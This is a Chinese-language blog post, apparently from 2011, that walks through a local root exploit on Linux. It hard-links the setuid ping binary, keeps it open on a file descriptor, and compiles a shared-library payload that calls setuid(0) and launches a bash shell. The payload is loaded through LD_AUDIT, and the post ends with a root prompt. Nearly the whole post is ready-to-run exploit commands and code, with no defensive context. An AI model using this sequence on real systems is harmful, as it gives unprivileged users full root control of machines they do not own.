Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1437468
  • 博文数量: 463
  • 博客积分: 10540
  • 博客等级: 上将
  • 技术积分: 5450
  • 用 户 组: 普通用户
  • 注册时间: 2006-11-12 08:30
文章分类

全部博文(463)

文章存档

2014年(2)

2012年(14)

2011年(42)

2010年(18)

2009年(78)

2008年(35)

2007年(182)

2006年(92)

我的朋友

分类: LINUX

2011-11-14 16:01:11

root下添加一个testuser1帐户
设置密码
su testuser1
cd ~
mkdir -p /tmp/ex1
ln /bin/ping /tmp/ex1/target
exec 3< /tmp/ex1/target
rm -rf /tmp/ex1
再执行
ls -l /proc/$$/fd/3
显示
lr-x------ 1 testuser1 testuser1 64 Dec 28 11:48 /proc/21958/fd/3 -> /tmp/ex1/target (deleted)
cd ~
[testuser1@mail ~]$ vi payload.c
内容
void __attribute__((constructor)) init()
{
        setuid(0);
        system("/bin/bash");
}
执行
gcc -w -fPIC -shared -o /tmp/ex1 payload.c
而后看一下
[testuser1@mail ~]$ ls -al /tmp/ex1
-rwxrwxr-x 1 testuser1 testuser1 4223 Dec 28 11:50 /tmp/ex1
执行
[testuser1@mail ~]$ LD_AUDIT="$ORGIN" exec /proc/self/fd/3
结果是:
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
            [-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
            [-M mtu discovery hint] [-S sndbuf]
            [ -T timestamp option ] [ -Q tos ] [hop1 ...] destination
#               
[root@mail]$提权成功。
阅读(1781) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~